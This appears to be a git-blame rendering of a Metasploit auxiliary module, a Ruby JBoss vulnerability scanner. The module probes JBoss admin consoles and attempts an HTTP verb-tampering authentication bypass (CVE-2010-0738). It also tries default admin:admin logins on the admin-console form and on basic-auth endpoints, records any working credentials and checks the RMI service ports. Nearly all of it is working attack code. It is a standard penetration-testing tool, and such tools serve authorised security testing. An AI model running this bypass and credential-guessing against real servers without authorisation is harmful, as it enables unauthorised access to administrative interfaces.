2010-06-21 16:49:44 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-21 16:49:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss Vulnerability Scanner',
|
2015-04-07 23:21:08 +00:00
|
|
|
'Description' => %q(
|
2013-08-30 21:28:54 +00:00
|
|
|
This module scans a JBoss instance for a few vulnerablities.
|
2015-04-07 23:21:08 +00:00
|
|
|
),
|
2015-04-07 22:40:25 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Tyler Krpata',
|
|
|
|
'Zach Grace <@ztgrace>'
|
|
|
|
],
|
2013-08-30 21:28:54 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0738' ] # VERB auth bypass
|
|
|
|
],
|
|
|
|
'License' => BSD_LICENSE
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2015-04-07 23:21:08 +00:00
|
|
|
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])
|
2013-08-30 21:28:54 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
2015-04-07 23:21:08 +00:00
|
|
|
'uri' => "/" + Rex::Text.rand_text_alpha(12),
|
2013-08-30 21:28:54 +00:00
|
|
|
'method' => 'GET',
|
2015-04-07 23:21:08 +00:00
|
|
|
'ctype' => 'text/plain'
|
2015-05-01 22:37:45 +00:00
|
|
|
})
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
if res
|
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
info = http_fingerprint(:response => res)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status(info)
|
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
if res.body && />(JBoss[^<]+)/.match(res.body)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
|
|
|
|
end
|
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
apps = [
|
|
|
|
'/jmx-console/HtmlAdaptor',
|
2013-08-30 21:28:54 +00:00
|
|
|
'/status',
|
|
|
|
'/web-console/ServerInfo.jsp',
|
|
|
|
# apps added per Patrick Hof
|
|
|
|
'/web-console/Invoker',
|
|
|
|
'/invoker/JMXInvokerServlet'
|
|
|
|
]
|
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} Checking http...")
|
|
|
|
apps.each do |app|
|
|
|
|
check_app(app)
|
|
|
|
end
|
|
|
|
|
2015-04-07 22:40:25 +00:00
|
|
|
jboss_as_default_creds
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
ports = {
|
|
|
|
# 1098i, 1099, and 4444 needed to use twiddle
|
|
|
|
1098 => 'Naming Service',
|
|
|
|
1099 => 'Naming Service',
|
|
|
|
4444 => 'RMI invoker'
|
|
|
|
}
|
|
|
|
print_status("#{rhost}:#{rport} Checking services...")
|
2015-04-07 23:21:08 +00:00
|
|
|
ports.each do |port, service|
|
|
|
|
status = test_connection(ip, port) == :up ? "open" : "closed"
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_app(app)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => app,
|
|
|
|
'method' => 'GET',
|
2015-04-07 23:21:08 +00:00
|
|
|
'ctype' => 'text/plain'
|
2015-05-01 22:37:45 +00:00
|
|
|
})
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
if res
|
2013-08-30 21:28:54 +00:00
|
|
|
case
|
|
|
|
when res.code == 200
|
|
|
|
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
|
|
|
|
when res.code == 403
|
|
|
|
print_status("#{rhost}:#{rport} #{app} restricted (403)")
|
|
|
|
when res.code == 401
|
|
|
|
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
|
|
|
|
bypass_auth(app)
|
2015-04-07 22:40:25 +00:00
|
|
|
basic_auth_default_creds(app)
|
2013-08-30 21:28:54 +00:00
|
|
|
when res.code == 404
|
|
|
|
print_status("#{rhost}:#{rport} #{app} not found (404)")
|
|
|
|
when res.code == 301, res.code == 302
|
|
|
|
print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
|
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} #{app} not found")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
def jboss_as_default_creds
|
2015-04-07 22:40:25 +00:00
|
|
|
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")
|
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
session = jboss_as_session_setup(rhost, rport)
|
|
|
|
return false if session.nil?
|
2015-04-07 22:40:25 +00:00
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
# Default AS creds
|
2015-05-01 22:37:45 +00:00
|
|
|
username = 'admin'
|
|
|
|
password = 'admin'
|
2015-04-07 22:40:25 +00:00
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
res = send_request_raw({
|
2015-05-01 22:37:45 +00:00
|
|
|
'uri' => '/admin-console/login.seam',
|
|
|
|
'method' => 'POST',
|
|
|
|
'version' => '1.1',
|
|
|
|
'vhost' => "#{rhost}",
|
|
|
|
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',
|
|
|
|
'Cookie' => "JSESSIONID=#{session['jsessionid']}"
|
2015-04-07 23:21:08 +00:00
|
|
|
},
|
2015-05-01 22:37:45 +00:00
|
|
|
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
|
|
|
|
})
|
2015-04-07 23:21:08 +00:00
|
|
|
|
|
|
|
# Valid creds if 302 redirected to summary.seam and not error.seam
|
2015-05-01 22:37:45 +00:00
|
|
|
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
|
2015-04-07 23:21:08 +00:00
|
|
|
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
|
|
|
|
add_creds(username, password)
|
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
|
|
|
end
|
2015-04-07 22:40:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def add_creds(username, password)
|
|
|
|
service_data = {
|
|
|
|
address: rhost,
|
|
|
|
port: rport,
|
2015-05-01 22:37:45 +00:00
|
|
|
service_name: 'jboss',
|
|
|
|
protocol: 'tcp',
|
2015-04-07 22:40:25 +00:00
|
|
|
workspace_id: framework.db.workspace.id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_data: password,
|
|
|
|
private_type: :password,
|
|
|
|
username: username
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
credential_data[:core] = credential_core
|
|
|
|
create_credential_login(credential_data)
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2015-04-07 22:40:25 +00:00
|
|
|
def jboss_as_session_setup(rhost, rport)
|
|
|
|
res = send_request_raw({
|
2015-05-01 22:37:45 +00:00
|
|
|
'uri' => '/admin-console/login.seam',
|
|
|
|
'method' => 'GET',
|
|
|
|
'version' => '1.1',
|
2015-04-07 23:21:08 +00:00
|
|
|
'vhost' => "#{rhost}"
|
2015-05-01 22:37:45 +00:00
|
|
|
})
|
2015-04-07 22:40:25 +00:00
|
|
|
|
2015-05-01 22:37:45 +00:00
|
|
|
unless res
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
|
|
|
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
|
|
|
|
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
|
|
|
|
rescue ::NoMethodError
|
|
|
|
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
|
|
|
return nil
|
2015-04-07 22:40:25 +00:00
|
|
|
end
|
2015-05-01 22:37:45 +00:00
|
|
|
|
|
|
|
{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }
|
2015-04-07 22:40:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def bypass_auth(app)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)")
|
|
|
|
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => app,
|
|
|
|
'method' => datastore['VERB'],
|
|
|
|
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
|
2015-05-01 22:37:45 +00:00
|
|
|
})
|
2015-04-07 22:40:25 +00:00
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
if res && res.code == 200
|
2013-08-30 21:28:54 +00:00
|
|
|
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering")
|
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
|
|
|
|
end
|
2015-04-07 22:40:25 +00:00
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2015-04-07 22:40:25 +00:00
|
|
|
def basic_auth_default_creds(app)
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => app,
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/plain',
|
2015-04-07 23:21:08 +00:00
|
|
|
'authorization' => basic_auth('admin', 'admin')
|
2015-05-01 22:37:45 +00:00
|
|
|
})
|
2015-04-07 22:40:25 +00:00
|
|
|
|
2015-04-07 23:21:08 +00:00
|
|
|
if res && res.code == 200
|
2015-04-07 22:40:25 +00:00
|
|
|
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
|
2015-04-07 23:21:08 +00:00
|
|
|
add_creds("admin", "admin")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# function stole'd from mssql_ping
|
2015-04-07 23:21:08 +00:00
|
|
|
def test_connection(ip, port)
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
sock = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => ip,
|
|
|
|
'PeerPort' => port,
|
|
|
|
'Timeout' => 20
|
2015-04-07 23:21:08 +00:00
|
|
|
)
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue Rex::ConnectionError
|
|
|
|
return :down
|
|
|
|
end
|
|
|
|
sock.close
|
|
|
|
return :up
|
|
|
|
end
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|